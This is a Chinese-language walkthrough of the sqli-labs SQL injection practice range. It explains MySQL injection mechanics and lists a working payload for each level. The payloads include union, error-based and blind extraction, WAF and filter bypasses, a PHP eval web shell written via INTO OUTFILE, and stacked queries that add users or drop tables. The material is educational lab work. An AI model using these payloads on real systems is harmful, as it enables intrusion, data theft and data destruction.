SQLI靶场

SQLI靶场

一、SQL 注入的底层逻辑

在开始靶场之前,必须掌握的 MySQL 内核知识。

1.1MySQL 执行流与注入本质

注入的本质是数据与代码的混淆。当用户输入的数据被解释器当作代码执行时,注入就发生了。

  • 词法分析(Lexical Analysis) :MySQL 将 SQL 语句拆解为 Token(关键字、标识符、字面量)。攻击者利用注释符 /* */--+ 截断后续 Token,或利用引号 ' 逃逸出字面量 Token,进入关键字 Token 区域。
  • 语法分析(Syntax Analysis) :生成抽象语法树(AST)。Union 注入就是利用 UNION 关键字将两个 AST 子树拼接,要求两棵子树的投影(Project)列数必须一致。

1.2关键函数与系统表

  • information_schema 库:
    • SCHEMATA: 存储数据库信息 (schema_name)。
    • TABLES: 存储表信息 (table_name, table_schema)。
    • COLUMNS: 存储列信息 (column_name, table_name)。
  • 数据连接函数
    • concat(str1, str2): 直接拼接。
    • concat_ws(separator, str1, str2): 带分隔符拼接。
    • group_concat(col): 将多行结果拼接为一行(注入神技,默认长度 1024)。

二、GET 基础注入 (Less 1-10)

Less-1: 基于单引号的字符型注入

源码审计:

php 复制代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 原理 : 变量 $id 被单引号包裹。输入 1' 导致 SQL 变为 id='1'',单引号未闭合,报错。
  • Payload :
    • ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+
  • 细节 : 为什么要用 -1?因为代码只取第一行 (LIMIT 0,1)。如果 ID=1 存在,联合查询的第二部分(我们的注入结果)会被丢弃。让前半部分为空(ID=-1),才能让后半部分"上位"。

Less-2: 基于整型的注入

源码审计:

php 复制代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 原理 : 变量 $id 无任何包裹。
  • Payload : 无需闭合引号,直接开始注入。?id=-1 union select...

Less-3 & Less-4: 括号闭合变体

  • Less-3 : id=('$id') -> 需要 ') 闭合。
  • Less-4 : id=("$id") -> 需要 ") 闭合。PHP 中双引号字符串处理与单引号类似。

Less-5: 双注入报错 (Double Query)

源码审计:

php 复制代码
// 无回显位置
if($row) { echo 'You are in...'; } 
else { print_r(mysqli_error($con1)); } // 打印错误信息!
  • 场景: 页面不回显查询结果(Union 失效),但回显 SQL 错误。
  • Payload :
    • ?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
  • 原理深度解析 :
    • floor(rand(0)*2) 产生固定序列 0,1,1,0,1,1...
    • MySQL 在执行 GROUP BY 时会建立虚拟表。若 Key 不存在,计算 Key 并插入;若 Key 存在,计数器 +1。
    • 当计算 Key 为 1 (第三次) 时,表中已有 1,但由于 Rand 的多次计算特性(插入前算一次,插入时又算一次),导致尝试插入新的 Key 1,触发 Duplicate entry 错误。

Less-6: 双引号报错

同 Less-5,只是闭合方式换为双引号 "

Less-7: 导出文件 (Outfile)

前提 : secure_file_priv 为空,且数据库用户有 FILE 权限。

  • Payload :
    • ?id=1')) UNION SELECT 1,2,'<?php eval($_POST[1]);?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php' --+
  • 难点: 必须知道 Web 绝对路径(通过报错或 phpinfo 获取)。

Less-8 ~ 10: 盲注 (Blind Injection)

场景: 页面只有"You are in"和无显示两种状态,无报错信息。

  • 布尔盲注 :
    • ?id=1' AND length(database())>5 --+ (二分法判断)
  • 时间盲注 :
    • ?id=1' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 0) --+
    • 即使 SQL 执行正确页面也无变化,利用 sleep 造成的网络延迟判断真假。

三、POST 高级注入 (Less 11-22)

Less-11: POST 登录框注入

源码:

php 复制代码
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd'";
  • 万能密码 :
    • User: admin' #
    • Pass: 任意
    • SQL: ... WHERE username='admin' #' and password='...' -> 注释掉密码判断。

Less-17: Update 报错注入 (User Password Reset)

场景 : 密码重置页面,已知用户名。
源码:

php 复制代码
$sql = "UPDATE users SET password='$new_pass' WHERE username='$uname'";
  • 这里 $uname 被直接代入。但通常 Update 语句没有回显。
  • Payload :
    • User: admin
    • New Pass: 1' and updatexml(1,concat(0x7e,database()),1)#
    • 利用 updatexml 在 SQL 执行出错时将数据带出到错误信息中。

Less-18: User-Agent 头部注入

源码:

php 复制代码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$sql = "INSERT INTO uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', '$uname')";
  • 利用: 许多开发者认为 Header 不可控。
  • Payload (修改 UA Header):
    • ' and extractvalue(1,concat(0x7e,database())), '1', '1')#
    • 注意必须闭合前面的单引号和括号,并补齐 VALUES 列表中后续的字段(这里补了两个参数)。

四、WAF 对抗与过滤器绕过 (Less 23-38)

Less-23: 注释符过滤

源码审计:

php 复制代码
$reg = "/#/";
$reg1 = "/--/";
$id = preg_replace($reg, "", $id); // 过滤了 #
$id = preg_replace($reg1, "", $id); // 过滤了 --
  • 困境 : 无法使用 --+# 注释掉末尾的 ' LIMIT 0,1
  • 破局 : 既然不能注释,就手动闭合它。
  • Payload :
    • ?id=-1' UNION SELECT 1,2,3 OR '1'='1
    • 生成的 SQL: ... WHERE id='-1' UNION SELECT 1,2,3 OR '1'='1' LIMIT 0,1
    • 最后的 '1'='1 成功闭合了源码中的末尾单引号。

Less-25: 关键字过滤 (OR/AND)

源码:

php 复制代码
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
  • 双写绕过 :
    • oorr -> 被删中间 or -> or
    • anandd -> and
  • 符号替代 :
    • || 等价于 OR
    • && 等价于 AND

Less-26: 空格与注释过滤

源码 : 过滤了空格 %20, --, #

  • 空格绕过 :
    • Windows/Linux 通用: %09 (Tab), %0a (换行), %0b, %0c, %0d
    • 括号绕过: SELECT(id)FROM(users)
  • Payload :
    • ?id=1'%a0union%a0select%a01,database(),3%a0or%a0'1'='1

Less-29: HPP 参数污染 (WAF Bypass)

架构: Tomcat (JSP) 做前置 WAF + Apache (PHP) 做后端。

  • HPP 原理 :
    • Tomcat 解析参数 id=1&id=2 时,获取数组 [1, 2]。WAF 可能只校验第一个 id=1
    • Apache/PHP 解析参数时,$_GET['id']最后一个 2
  • Payload :
    • ?id=1&id=-1' union select 1,database(),3 --+
    • WAF 看到 id=1 (安全)。PHP 执行 SQL 注入。

Less-32: 宽字节注入

场景 : 数据库使用 GBK 编码,且开启 check_addslashes() 转义 '\'

  • 原理 :
    • 输入 %df%27
    • PHP 转义 -> %df%5c%27 (%5c\).
    • MySQL (GBK) 解析 -> %df%5c 是汉字 ß
    • 结果 -> ß'。单引号逃逸成功。

五、堆叠注入与 Order By (Less 38-53)

Less-38: 堆叠注入 (Stacked Queries)

这是 SQL 注入中最危险的一种。
源码审计:

php 复制代码
if (mysqli_multi_query($con1, $sql)) // 核心函数!

mysqli_query 不同,mysqli_multi_query 允许执行 ; 分隔的多条语句。

  • 攻击 :
    • ?id=1'; INSERT INTO users(username,password) VALUES('hacker','pwned') --+
    • ?id=1'; DROP TABLE users --+ (慎用)
  • 限制: 后续语句通常无回显,且需要数据库驱动支持(PHP PDO 默认支持,mysqli 需要显式调用 multi_query)。

Less-46: Order By 注入 (Numeric)

源码:

php 复制代码
$sql = "SELECT * FROM users ORDER BY $id";
  • 特点 : 参数在 ORDER BY 之后,不能用 UNION(除非配合 Limit,但这里不行)。
  • 利用 :
    • 报错 : ?sort=(select updatexml(1,concat(0x7e,user()),1))
      • MySQL 会先计算表达式,然后排序。计算时触发报错。
    • 盲注 : ?sort=IF(ascii(substr(database(),1,1))>100, id, password)
      • 如果真,按 ID 排序(1, 2, 3...)。
      • 如果假,按 Password 排序(admin, dumb...)。
      • 通过页面表格数据的顺序差异判断真假。

六、高难度挑战区 (Less 54-65)

Less-54: 动态表名与次数限制 Challenge

这是一个模拟真实 CTF 的环境。
机制:

  1. 随机性 : 每次重置,表名、列名、Secret Key 都是随机生成的(如 ud6a7...)。
  2. 限制: 只有 10 次尝试机会。
  3. 目标: 拿到 Secret Key 提交。

通关策略:

  1. 探测 : ?id=1'. 发现是单引号字符型。
  2. 爆库名 : ?id=-1' union select 1,database(),3 --+ -> 得到 challenges
  3. 爆表名 : ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+ -> 得到随机表名 kt48d...
  4. 爆列名 : ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='kt48d...' --+ -> 得到 secret_key...
  5. 拿数据 : ?id=-1' union select 1,secret_key...,3 from kt48d... --+
  6. 提交: 在 10 次以内完成上述操作。

脚本化: 这种题目必须写 Python 脚本自动化。

python 复制代码
# 伪代码
tn = get_table_name()
cn = get_column_name(tn)
key = get_data(tn, cn)
submit(key)

附录:核心速查表

名称 代码特征 典型 Payload
Union 注入 mysqli_query UNION SELECT 1,2,3
报错注入 print_r(mysqli_error) updatexml(1,concat(0x7e,user()),1)
布尔盲注 无报错,有 True/False AND ascii(substr(db(),1,1))>100
时间盲注 无任何差异 AND IF(1=1,sleep(5),0)
堆叠注入 mysqli_multi_query ; INSERT INTO...
宽字节 GBK + addslashes %df%27
Order By ORDER BY $id IF(1=1, id, price)
相关推荐
zhangxl-jc6 小时前
Doris 窗口函数之 LEAD 最佳实践
大数据·sql·数据分析
NineData9 小时前
NineData 新增支持 Azure SQL Database > PolarDB PostgreSQL
数据库·sql·azure·数据库管理工具·ninedata·数据库迁移·数据库迁移工具
山峰哥9 小时前
破解SQL性能瓶颈:索引优化核心策略
大数据·数据库·sql·oracle·编辑器·深度优先·数据库架构
严同学正在努力9 小时前
DataAgent:企业级智能数据分析师,Text-to-SQL+Python 分析 + 自动出报告一站式搞定(开源项目)
python·sql·ai·开源·bigdata
马猴烧酒.10 小时前
【智能协图云图库|第七天】 空间模块初始化
java·数据库·后端·sql·spring·tomcat
玄同76511 小时前
SQLAlchemy 模型定义完全指南:从基础到进阶的 ORM 实战
人工智能·python·sql·mysql·机器学习·自然语言处理·database
心枢AI研习社11 小时前
数据库系列1:给 AI 工程师的 SQL 入门(工程级理解版)
数据库·人工智能·sql
。puppy12 小时前
SQL 注入整理
数据库·sql·word
l1t12 小时前
将PostgreSQL的SQL改写成Duckdb的步骤
数据库·sql·postgresql·duckdb